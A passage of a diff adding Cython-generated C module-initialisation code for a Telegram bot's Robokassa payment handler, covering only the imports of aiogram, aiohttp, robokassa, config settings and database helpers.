(__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__robokassa_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.robokassa_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.robokassa_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/robokassa_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":2 + * import hashlib + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":4 + * from typing import Any + * + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":5 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardMarkup); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardMarkup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_InlineKeyboardMarkup)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardMarkup, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * from robokassa import HashAlgorithm, Robokassa + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":9 + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * from robokassa import HashAlgorithm, Robokassa + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":10 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + * from robokassa import HashAlgorithm, Robokassa # <<<<<<<<<<<<<< + * + * from config import ( + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_HashAlgorithm); + __Pyx_GIVEREF(__pyx_n_s_HashAlgorithm); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_HashAlgorithm)) __PYX_ERR(0, 10, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Robokassa); + __Pyx_GIVEREF(__pyx_n_s_Robokassa); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Robokassa)) __PYX_ERR(0, 10, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_robokassa, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_HashAlgorithm); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_HashAlgorithm, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Robokassa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":13 + * + * from config import ( + * ROBOKASSA_ENABLE, # <<<<<<<<<<<<<< + * ROBOKASSA_LOGIN, + * ROBOKASSA_PASSWORD1, + */ + __pyx_t_2 = PyList_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_ROBOKASSA_ENABLE)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_LOGIN); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_LOGIN); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_ROBOKASSA_LOGIN)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_PASSWORD1); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_PASSWORD1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_ROBOKASSA_PASSWORD1)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_PASSWORD2); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_PASSWORD2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_ROBOKASSA_PASSWORD2)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ROBOKASSA_TEST_MODE); + __Pyx_GIVEREF(__pyx_n_s_ROBOKASSA_TEST_MODE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_ROBOKASSA_TEST_MODE)) __PYX_ERR(0, 13, __pyx_L1_error); + + /* "handlers/payments/robokassa_pay.py":12 + * from robokassa import HashAlgorithm, Robokassa + * + * from config import ( # <<<<<<<<<<<<<< + * ROBOKASSA_ENABLE, + * ROBOKASSA_LOGIN, + */ + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_LOGIN); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_LOGIN, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_PASSWORD1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_PASSWORD1, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_PASSWORD2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_PASSWORD2, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ROBOKASSA_TEST_MODE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ROBOKASSA_TEST_MODE, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":20 + * ) + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 20, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 20, __pyx_L1_error); + + /* "handlers/payments/robokassa_pay.py":19 + * ROBOKASSA_TEST_MODE, + * ) + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":26 + * update_balance, + * ) + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 26, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":27 + * ) + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 27, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":28 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + 